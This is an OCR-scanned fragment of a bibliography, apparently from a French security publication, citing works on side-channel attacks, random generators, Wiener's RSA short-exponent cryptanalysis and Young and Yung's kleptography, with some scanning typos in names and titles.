attaques par effet de bord. MISC, 4:78-81, novembre-decembre 2002.

" [Kor04] Kostya Kertchinsky. De ['aléa des générateurs. MISC, 13:55,
mai-juin 2004.

= [Wie90] Michael |.Wiener. Cryptanalysis of short RSA secret exponents.
IEEE Transaction on infermation theory, 36(3), may 1990.

= [YY97] Adam Young and Moti Yung. Kleptography: Using cryptography
against cryptography. In VW. Fumy, editor; Advances in Cryptology -
EUROCCRYPT'?7, volume 1233 of LNCS, pages 264-276. Springer-Verlag,
1997.




